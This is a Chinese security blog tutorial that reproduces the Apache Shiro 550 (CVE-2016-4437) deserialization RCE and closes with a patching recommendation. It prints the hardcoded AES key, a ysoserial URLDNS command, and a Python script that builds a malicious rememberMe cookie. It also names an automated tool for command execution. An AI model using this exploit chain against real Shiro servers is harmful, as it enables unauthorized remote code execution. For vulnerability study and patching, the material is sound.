【java安全】shiro反序列化1(shiro550)

shiro550(cve-2016-4437)

0x00 漏洞详情

Shiro 550 是 Apache Shiro 1.2.4 及以下版本中,因「记住我(RememberMe)」功能设计缺陷导致的反序列化远程代码执行漏洞。其核心成因可概括为:

硬编码的 AES 密钥 + 可控输入的原生反序列化

结合加解密与反序列化流程,原理如下:

0x01 影响范围

Shiro <= 1.2.5

0x02 漏洞复现

环境准备

1.获取实验源码

复制代码
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

2.修改依赖配置

编辑 pom.xml 文件,调整 javax.servlet 相关依赖以解决版本冲突:

3.添加 Tomcat 服务器

4.启动并访问登录页

启动 Web 服务后,访问 login.jsp 页面:

5.观察 RememberMe Cookie

勾选「RememberMe」并登录,响应包中会出现 rememberMe 字段,其值为一串 Base64 编码字符串。

该字符串实际是后端对用户信息执行 序列化→AES 加密→Base64 编码 后的结果:

加密过程剖析

AbstractRememberMeManager类的rememberIdentity方法打下断点

这个方法是基于认证相关信息(Subject、认证令牌、认证信息)获取需记住的身份信息,进而执行身份记住操作。

java 复制代码
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
    rememberIdentity(subject, principals);
}

可以看见右下角可以看见用户名密码信息

往下跟到DefaultSerializer类的serialize方法,这里就是序列化操作

java 复制代码
public byte[] serialize(T o) throws SerializationException {
    if (o == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    BufferedOutputStream bos = new BufferedOutputStream(baos);

    try {
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(o);
        oos.close();
        return baos.toByteArray();
    } catch (IOException e) {
        String msg = "Unable to serialize object [" + o + "].  " +
                "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " +
                "class must implement java.io.Serializable.";
        throw new SerializationException(msg, e);
    }
}

继续跟发现了JcaCipherService类的encrypt方法

java 复制代码
public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
    boolean generate = isGenerateInitializationVectors(false);
    if (generate) {
        ivBytes = generateInitializationVector(false);
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
                    "cannot be null or empty.");
        }
    }
    return encrypt(plaintext, key, ivBytes, generate);
}

断下点后可以看见右下角的加密信息是AES加密,模式CBC,填充PKC5,key也出来了,它的字节列表是[-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104],转化为base64字符串就是:kPH+bIxk5D2deZiIxcaaaA==

转化脚本如下:

python 复制代码
import base64
# 你的AES Key(带符号字节列表)
aes_key_sbyte = [-112, -15, -2, 108, -116, 100, -28, 61, -99, 121, -104, -120, -59, -58, -102, 104]
aes_key_bytes = bytes([x % 256 for x in aes_key_sbyte])
base64_str = base64.b64encode(aes_key_bytes).decode('utf-8')
print("Base64字符串:", base64_str)

也可以往前找到硬编码的key,查看所有调用的方法

选择AbstractRememberMeManager类,可以发现key来源于getEncryptionCipherKey()方法

继续往前跟

再找encryptionCipherKey

查看用法,继续

跟到了setEncryptionCipherKey方法

继续追它的用法

这里找到setCipherKey方法,立马设置了加解密的key,看这个cipherKey的来源

终于找到了硬编码的key ,和我们刚刚获取到的字节key是一样的

解密过程剖析

用带有rememberme参数值并且置空JSESSIONID参数值的数据包发送

CookieRememberMeManager类下的getRememberedSerializedIdentity方法,这里获取了rememberme的值

继续跟到JcaCipherService类的decrypt方法,发现了aes解密过程,这里发现key依旧没变,iv是base64解码后提取的前16位字节

继续跟,发现DefaultSerializer类的deserialize方法开始执行反序列化

java 复制代码
public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}
漏洞利用链构造

根据上述加密与解密流程,Shiro 550 漏洞的完整利用需遵循以下步骤:

构造恶意序列化数据→AES 加密(CBC 模式,PKCS5 填充)→Base64 编码(IV + 密文拼接后编码),流程如图所示:

ysoserial生成序列化 Payload

利用 ysoserial 工具生成反序列化漏洞利用链(需根据目标服务器环境选择合适的链,例如无依赖的 URLDNS 链可用于漏洞探测)。

  • 工具下载ysoserial 官方仓库(需 Java 1.8 环境运行)。

  • 查看支持的利用链:执行以下命令可列出所有可用链(链的有效性取决于目标服务器是否存在对应依赖库):

    shell 复制代码
    java -jar ysoserial-all.jar  
  • 生成 URLDNS 链(用于探测)

1.先通过 DNS 日志平台(如 dnslog.cn)获取一个临时 DNS 地址(如 https://hqlr40.dnslog.cn),用于验证漏洞是否触发。

2.执行命令生成序列化数据并保存到文件:

shell 复制代码
java -jar ysoserial-all.jar URLDNS https://hqlr40.dnslog.cn > ./urldns.txt
对序列化数据进行加密与编码

使用 Python 脚本对生成的恶意序列化数据执行 AES 加密Base64 编码 ,生成最终的 rememberMe Cookie 值。

  • 加密脚本
python 复制代码
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

key = iv = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
with open("./urldns.txt", 'rb') as f:
    data = f.read()

cipher = AES.new(key, AES.MODE_CBC, iv)
print(base64.b64encode(iv + cipher.encrypt(pad(data, AES.block_size))).decode())
  • 脚本执行结果

    运行后生成一串 Base64 字符串,即最终可用于攻击的 rememberMe Cookie 值。

发送 Payload 并验证漏洞

将生成的 final_payload 替换请求中的 rememberMe Cookie 值,发送请求后通过 DNS 日志验证漏洞是否触发。(清空有效的JSESSIONID)

查看 DNS 日志平台,若检测到目标服务器的 DNS 查询记录,说明反序列化漏洞已成功触发。

成功复现shiro550反序列化

自动化工具利用(简化流程)

若手动构造链较繁琐,可使用自动化工具(如 ShiroAttack2)直接完成密钥爆破、利用链检测和命令执行。

1.爆破密钥:输入目标 URL 后,工具会自动爆破默认硬编码密钥。

2.检测可用利用链:根据目标环境筛选有效的反序列化链。

3.执行命令 :选择可用链后直接执行系统命令(如 whoami/calc),验证远程代码执行效果。

通过上述步骤,可完整复现 Shiro 550 漏洞的利用过程,核心在于利用硬编码密钥构造恶意序列化数据,触发服务器端的反序列化执行。

0x03 修复方式

升级到 Shiro 1.2.5 及以上版本,并主动生成随机且安全的密钥替换默认密钥。

相关推荐
码头整点薯条14 小时前
对接第三方服务踩坑:属性大小写不匹配导致数据解析失败,一个注解搞定!
java
Wpa.wk14 小时前
性能测试工具 - JMeter工具组件介绍一
java·经验分享·测试工具·jmeter·性能测试
虫小宝14 小时前
个微iPad协议场景下Java后端的协议解析异常排查与问题定位技巧
java·svn·ipad
vyuvyucd14 小时前
Python虚拟环境终极指南:venv到uv进阶
开发语言·python·uv
信安成长日记14 小时前
CNI研究https://sanj.dev/post/cilium-calico-flannel-cni-performance-comparison
安全
程序媛徐师姐14 小时前
Java基于微信小程序的鲜花销售系统,附源码+文档说明
java·微信小程序·鲜花销售小程序·java鲜花销售小程序·鲜花销售微信小程序·java鲜花销售系统小程序·java鲜花销售微信小程序
Tim_1014 小时前
【C++入门】05、复合类型-数组
开发语言·c++·算法
无限进步_14 小时前
【C语言&数据结构】另一棵树的子树:递归思维的双重奏
c语言·开发语言·数据结构·c++·算法·github·visual studio
佑白雪乐15 小时前
<Python第1集>
开发语言·python
菜还不练就废了15 小时前
26.1.12|JavaSE复盘补充,整到哪里算哪里(一)
java·开发语言